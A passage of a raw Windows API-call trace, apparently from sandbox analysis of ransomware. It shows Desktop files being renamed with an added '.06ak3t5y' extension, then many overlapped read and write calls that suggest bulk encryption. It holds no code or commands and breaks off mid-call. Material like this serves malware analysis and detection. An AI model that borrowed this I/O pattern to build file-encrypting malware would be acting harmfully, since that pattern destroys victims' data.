GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0110.837] CloseHandle (hObject=0x280) returned 1 [0110.868] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0110.868] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\go3CAcQwWoE5uapCI.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\go3cacqwwoe5uapci.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\go3CAcQwWoE5uapCI.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\go3cacqwwoe5uapci.mkv.06ak3t5y")) returned 1 [0111.003] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.003] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee3c8) returned 1 [0111.003] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3901aa8) returned 1 [0111.003] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.003] CloseHandle (hObject=0x288) returned 1 [0111.005] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0111.005] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\kMECVXsOvLSDJDAOA.ots" (normalized: "c:\\users\\keecfmwgj\\desktop\\kmecvxsovlsdjdaoa.ots"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\kMECVXsOvLSDJDAOA.ots.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\kmecvxsovlsdjdaoa.ots.06ak3t5y")) returned 1 [0111.005] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.005] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee260) returned 1 [0111.006] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3908218) returned 1 [0111.006] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.006] CloseHandle (hObject=0x290) returned 1 [0111.007] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0111.007] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\lNyfrw9KFObcc0Vbb.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\lnyfrw9kfobcc0vbb.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\lNyfrw9KFObcc0Vbb.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\lnyfrw9kfobcc0vbb.bmp.06ak3t5y")) returned 1 [0111.008] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.008] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee1e8) returned 1 [0111.008] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3912670) returned 1 [0111.008] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.008] CloseHandle (hObject=0x2e8) returned 1 [0111.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd0) returned 0x3691568 [0111.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\OiotT.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\oiott.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\OiotT.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\oiott.jpg.06ak3t5y")) returned 1 [0111.010] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691568) returned 1 [0111.010] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069960) returned 1 [0111.011] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x391fa00) returned 1 [0111.011] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.011] WriteFile (in: hFile=0x2a4, lpBuffer=0x397e920, nNumberOfBytesToWrite=0x10a1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0 | out: lpBuffer=0x397e920, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0) returned 0x0 [0111.011] RtlGetLastWin32Error () returned 0x3e5 [0111.011] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.012] WriteFile (in: hFile=0x2f8, lpBuffer=0x3932378, nNumberOfBytesToWrite=0x12444, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3932228 | out: lpBuffer=0x3932378, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3932228) returned 0x0 [0111.012] RtlGetLastWin32Error () returned 0x3e5 [0111.012] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.012] WriteFile (in: hFile=0x2f4, lpBuffer=0x3944918, nNumberOfBytesToWrite=0xf5e1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39447c8 | out: lpBuffer=0x3944918, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39447c8) returned 0x0 [0111.013] RtlGetLastWin32Error () returned 0x3e5 [0111.013] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.013] WriteFile (in: hFile=0x2fc, lpBuffer=0x3954058, nNumberOfBytesToWrite=0x15735, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3953f08 | out: lpBuffer=0x3954058, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3953f08) returned 0x0 [0111.014] RtlGetLastWin32Error () returned 0x3e5 [0111.014] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.014] WriteFile (in: hFile=0x300, lpBuffer=0x39698e8, nNumberOfBytesToWrite=0x1118, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3969798 | out: lpBuffer=0x39698e8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3969798) returned 0x0 [0111.014] RtlGetLastWin32Error () returned 0x3e5 [0111.014] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.015] WriteFile (in: hFile=0x304, lpBuffer=0x44a0198, nNumberOfBytesToWrite=0x17791, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048 | out: lpBuffer=0x44a0198, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048) returned 0x0 [0111.015] RtlGetLastWin32Error () returned 0x3e5 [0111.015] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.016] WriteFile (in: hFile=0x308, lpBuffer=0x396ab58, nNumberOfBytesToWrite=0x686c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x396aa08 | out: lpBuffer=0x396ab58, lpNumberOfBytesWritten=0x0, lpOverlapped=0x396aa08) returned 0x0 [0111.016] RtlGetLastWin32Error () returned 0x3e5 [0111.016] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.017] WriteFile (in: hFile=0x30c, lpBuffer=0x44b7a88, nNumberOfBytesToWrite=0xdb0a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b7938 | out: lpBuffer=0x44b7a88, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b7938) returned 0x0 [0111.017] RtlGetLastWin32Error () returned 0x3e5 [0111.017] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.017] WriteFile (in: hFile=0x310, lpBuffer=0x3971520, nNumberOfBytesToWrite=0x4433, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39713d0 | out: lpBuffer=0x3971520, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39713d0) returned 0x0 [0111.017] RtlGetLastWin32Error () returned 0x3e5 [0111.017] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.018] WriteFile (in: hFile=0x314, lpBuffer=0x44c56f0, nNumberOfBytesToWrite=0xc3ad, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c55a0 | out: lpBuffer=0x44c56f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c55a0) returned 0x0 [0111.018] RtlGetLastWin32Error () returned 0x3e5 [0111.018] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.018] WriteFile (in: hFile=0x318, lpBuffer=0x44d1bf8, nNumberOfBytesToWrite=0xaf05, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44d1aa8 | out: lpBuffer=0x44d1bf8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44d1aa8) returned 0x0 [0111.019] RtlGetLastWin32Error () returned 0x3e5 [0111.019] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.019] WriteFile (in: hFile=0x31c, lpBuffer=0x44dcc58, nNumberOfBytesToWrite=0xc7e9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcb08 | out: lpBuffer=0x44dcc58, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcb08) returned 0x0 [0111.019] RtlGetLastWin32Error () returned 0x3e5 [0111.019] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.020] WriteFile (in: hFile=0x320, lpBuffer=0x38806e0, nNumberOfBytesToWrite=0xcfbf, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38806e0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590) returned 0x0 [0111.020] RtlGetLastWin32Error () returned 0x3e5 [0111.020] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.020] WriteFile (in: hFile=0x324, lpBuffer=0x3975ab0, nNumberOfBytesToWrite=0x48e5, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3975960 | out: lpBuffer=0x3975ab0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3975960) returned 0x0 [0111.020] RtlGetLastWin32Error () returned 0x3e5 [0111.020] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.021] WriteFile (in: hFile=0x328, lpBuffer=0x44e95a0, nNumberOfBytesToWrite=0xd956, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44e9450 | out: lpBuffer=0x44e95a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44e9450) returned 0x0 [0111.021] RtlGetLastWin32Error () returned 0x3e5 [0111.021] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.021] ReadFile (in: hFile=0x26c, lpBuffer=0x454e7a0, nNumberOfBytesToRead=0x136e3, lpNumberOfBytesRead=0x0, lpOverlapped=0x454e650 | out: lpBuffer=0x454e7a0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x454e650) returned 1 [0111.022] RtlGetLastWin32Error () returned 0x3e5 [0111.022] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.022] ReadFile (in: hFile=0x274, lpBuffer=0x3890bc8, nNumberOfBytesToRead=0x136cc, lpNumberOfBytesRead=0x0, lpOverlapped=0x3890a78 | out: lpBuffer=0x3890bc8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3890a78) returned 1 [0111.023] RtlGetLastWin32Error () returned 0x3e5 [0111.023] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.023] ReadFile (in: hFile=0x27c, lpBuffer=0x38a43f0, nNumberOfBytesToRead=0x72cd, lpNumberOfBytesRead=0x0, lpOverlapped=0x38a42a0 | out: lpBuffer=0x38a43f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38a42a0) returned 1 [0111.024] RtlGetLastWin32Error () returned 0x3e5 [0111.024] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.024] ReadFile (in: hFile=0x278, lpBuffer=0x4561fe0, nNumberOfBytesToRead=0x16486, lpNumberOfBytesRead=0x0, lpOverlapped=0x4561e90 | out: lpBuffer=0x4561fe0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4561e90) returned 1 [0111.025] RtlGetLastWin32Error () returned 0x3e5 [0111.025] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.025] ReadFile (in: hFile=0x254, lpBuffer=0x45785c0, nNumberOfBytesToRead=0x9e80, lpNumberOfBytesRead=0x0, lpOverlapped=0x4578470 | out: lpBuffer=0x45785c0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4578470) returned 1 [0111.025] RtlGetLastWin32Error () returned 0x3e5 [0111.026] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.026] ReadFile (in: hFile=0x34c, lpBuffer=0x4582598, nNumberOfBytesToRead=0xf460, lpNumberOfBytesRead=0x0, lpOverlapped=0x4582448 | out: lpBuffer=0x4582598*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4582448) returned 1 [0111.026] RtlGetLastWin32Error () returned 0x3e5 [0111.026] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.027] ReadFile (in: hFile=0x350, lpBuffer=0x45a0198, nNumberOfBytesToRead=0x12d09, lpNumberOfBytesRead=0x0, lpOverlapped=0x45a0048 | out: lpBuffer=0x45a0198*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45a0048) returned 1 [0111.027] RtlGetLastWin32Error () returned 0x3e5 [0111.028] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.028] ReadFile (in: hFile=0x354, lpBuffer=0x4591b50, nNumberOfBytesToRead=0x4b99, lpNumberOfBytesRead=0x0, lpOverlapped=0x4591a00 | out: lpBuffer=0x4591b50*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4591a00) returned 1 [0111.028] RtlGetLastWin32Error () returned 0x3e5 [0111.028] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.029] ReadFile (in: hFile=0x358, lpBuffer=0x397a4f0, nNumberOfBytesToRead=0x2892, lpNumberOfBytesRead=0x0, lpOverlapped=0x397a3a0 | out: lpBuffer=0x397a4f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397a3a0) returned 1 [0111.029] RtlGetLastWin32Error () returned 0x3e5 [0111.029] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.029] ReadFile (in: hFile=0x35c, lpBuffer=0x4596848, nNumberOfBytesToRead=0x2ae7, lpNumberOfBytesRead=0x0, lpOverlapped=0x45966f8 | out: lpBuffer=0x4596848*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45966f8) returned 1 [0111.030] RtlGetLastWin32Error () returned 0x3e5 [0111.030] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.030] WriteFile (in: hFile=0x32c, lpBuffer=0x44f7050, nNumberOfBytesToWrite=0x147e2, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f6f00 | out: lpBuffer=0x44f7050, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f6f00) returned 0x0 [0111.031] RtlGetLastWin32Error () returned 0x3e5 [0111.031] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.031] WriteFile (in: hFile=0x330, lpBuffer=0x450b990, nNumberOfBytesToWrite=0x131a4, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450b840 | out: lpBuffer=0x450b990, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450b840) returned 0x0 [0111.032] RtlGetLastWin32Error () returned 0x3e5 [0111.032] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.032] WriteFile (in: hFile=0x334, lpBuffer=0x388d7f8, nNumberOfBytesToWrite=0x205b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388d6a8 | out: lpBuffer=0x388d7f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388d6a8) returned 0x0 [0111.032] RtlGetLastWin32Error () returned 0x3e5 [0111.032] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.032] WriteFile (in: hFile=0x338, lpBuffer=0x388f9b0, nNumberOfBytesToWrite=0x10bc, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388f860 | out: lpBuffer=0x388f9b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388f860) returned 0x0 [0111.033] RtlGetLastWin32Error () returned 0x3e5 [0111.033] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.033] WriteFile (in: hFile=0x33c, lpBuffer=0x451ec90, nNumberOfBytesToWrite=0x133d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x451eb40 | out: lpBuffer=0x451ec90, lpNumberOfBytesWritten=0x0, lpOverlapped=0x451eb40) returned 0x0 [0111.036] RtlGetLastWin32Error () returned 0x3e5 [0111.036] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.037] WriteFile (in: hFile=0x340, lpBuffer=0x45321b8, nNumberOfBytesToWrite=0x218d, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4532068 | out: lpBuffer=0x45321b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4532068) returned 0x0 [0111.037] RtlGetLastWin32Error () returned 0x3e5 [0111.037] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.037] WriteFile (in: hFile=0x344, lpBuffer=0x45344a0, nNumberOfBytesToWrite=0xdc9c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4534350 | out: lpBuffer=0x45344a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4534350) returned 0x0 [0111.037] RtlGetLastWin32Error () returned 0x3e5 [0111.038] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.038] WriteFile (in: hFile=0x348, lpBuffer=0x4542298, nNumberOfBytesToWrite=0xc3a9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4542148 | out: lpBuffer=0x4542298, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4542148) returned 0x0 [0111.038] RtlGetLastWin32Error () returned 0x3e5 [0111.038] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.038] ReadFile (in: hFile=0x258, lpBuffer=0x397cee0, nNumberOfBytesToRead=0x13b1, lpNumberOfBytesRead=0x0, lpOverlapped=0x397cd90 | out: lpBuffer=0x397cee0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397cd90) returned 1 [0111.039] RtlGetLastWin32Error () returned 0x3e5 [0111.039] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.039] ReadFile (in: hFile=0x25c, lpBuffer=0x38ab818, nNumberOfBytesToRead=0x18d05, lpNumberOfBytesRead=0x0, lpOverlapped=0x38ab6c8 | out: lpBuffer=0x38ab818*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38ab6c8) returned 1 [0111.040] RtlGetLastWin32Error () returned 0x3e5 [0111.040] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.040] ReadFile (in: hFile=0x264, lpBuffer=0x38c4678, nNumberOfBytesToRead=0xe81a, lpNumberOfBytesRead=0x0, lpOverlapped=0x38c4528 | out: lpBuffer=0x38c4678*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38c4528) returned 1 [0111.041] RtlGetLastWin32Error () returned 0x3e5 [0111.041] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.041] ReadFile (in: hFile=0x260, lpBuffer=0x38d2ff0, nNumberOfBytesToRead=0xcf71, 